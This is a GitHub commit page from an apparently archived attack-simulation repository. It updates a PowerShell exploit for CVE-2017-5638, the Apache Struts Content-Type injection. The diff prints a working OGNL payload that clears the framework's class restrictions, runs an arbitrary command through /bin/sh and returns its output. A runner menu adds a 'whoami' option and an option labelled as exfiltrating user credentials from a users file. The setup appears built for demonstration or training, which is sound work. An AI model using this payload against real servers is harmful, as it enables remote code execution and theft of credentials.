Skip to content
This repository was archived by the owner on Apr 27, 2026. It is now read-only.

Commit c4b6ba2

Browse files
committed
refactor(script): update exploit script execution method
1 parent cdfd335 commit c4b6ba2

3 files changed

Lines changed: 15 additions & 10 deletions

File tree

simulation/attack-script/exploit_cve_2017_5638.ps1

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -218,22 +218,22 @@ if ($DiagLevel -gt 0) {
218218
# setMemberAccess to DEFAULT_MEMBER_ACCESS (allows static method calls
219219
# like getResponse()). DEFAULT_MEMBER_ACCESS is a static FIELD, not a
220220
# method, so it is accessible even with allowStaticMethodAccess=false.
221-
# 6. Runtime.exec(String) runs the command via cmd.exe. We use a single
222-
# string (not ProcessBuilder) because OGNL's constructor resolution can
223-
# struggle with ProcessBuilder(List) vs ProcessBuilder(String[]).
221+
# 6. Runtime.exec(String[]) runs the command via /bin/sh. We use a String
222+
# array form so the shell receives the command as a single token — the
223+
# single-string overload uses StringTokenizer which would split on spaces
224+
# and break commands like 'cat data/users.yaml' into separate arguments.
224225
# 7. waitFor() ensures the process exits; readAllBytes() drains stdout.
225226
# 8. Write output bytes via getOutputStream() + setContentLength +
226227
# flushBuffer() to commit the response before JSP rendering.
227228
#
228229
$escapedCmd = $Command -replace "'", "''"
229-
$escapedCmd = $escapedCmd -replace '\\', '\\' # double backslashes for OGNL escape sequences
230230
$contentType = ".%{" +
231231
"(#container=#context['com.opensymphony.xwork2.ActionContext.container'])." +
232232
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." +
233233
"(#ognlUtil.getExcludedPackageNames().clear())." +
234234
"(#ognlUtil.getExcludedClasses().clear())." +
235235
"(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))." +
236-
"(#process=@java.lang.Runtime@getRuntime().exec('cmd.exe /c $escapedCmd'))." +
236+
"(#process=@java.lang.Runtime@getRuntime().exec(new String[]{'/bin/sh','-c','$escapedCmd'}))." +
237237
"(#process.waitFor())." +
238238
"(#out=new java.lang.String(#process.getInputStream().readAllBytes(),'UTF-8'))." +
239239
"(#response=@org.apache.struts2.ServletActionContext@getResponse())." +

simulation/attack-script/run.ps1

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -10,22 +10,22 @@ While ($true) {
1010
switch ($s.Trim()) {
1111
'0' {
1212
Write-Host "Running in safe demo mode...`n"
13-
.\exploit_cve_2017_5638.ps1 -DemoMode
13+
& "$PSScriptRoot/exploit_cve_2017_5638.ps1" -DemoMode
1414
}
1515
'1' {
1616
Write-Host "Running with whoami command...`n"
17-
.\exploit_cve_2017_5638.ps1 -Command "whoami"
17+
& "$PSScriptRoot/exploit_cve_2017_5638.ps1" -Command "whoami"
1818
}
1919
'a' {
2020
Write-Host "Running attack script - exfiltrating user credentials...`n"
21-
.\exploit_cve_2017_5638.ps1 -Command "type data\users.yaml"
21+
& "$PSScriptRoot/exploit_cve_2017_5638.ps1" -Command "cat data/users.yaml"
2222
}
2323
'd' {
2424
Write-Host "`n=== DIAGNOSTIC: Running levels 1-6 ===" -ForegroundColor Magenta
2525
Write-Host "Each level adds one step. First failure reveals the problem.`n" -ForegroundColor Magenta
2626
for ($lvl = 1; $lvl -le 9; $lvl++) {
2727
Write-Host "--- Diagnostic level $lvl ---" -ForegroundColor Magenta
28-
.\exploit_cve_2017_5638.ps1 -DiagLevel $lvl
28+
& "$PSScriptRoot/exploit_cve_2017_5638.ps1" -DiagLevel $lvl
2929
Write-Host ""
3030
}
3131
}

simulation/backend/run.ps1

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,7 @@
1-
mvn tomcat7:run
1+
Push-Location $PSScriptRoot
2+
try {
3+
mvn tomcat7:run
4+
} finally {
5+
Pop-Location
6+
}
27
Read-Host "Enter to exit"

0 commit comments

Comments
 (0)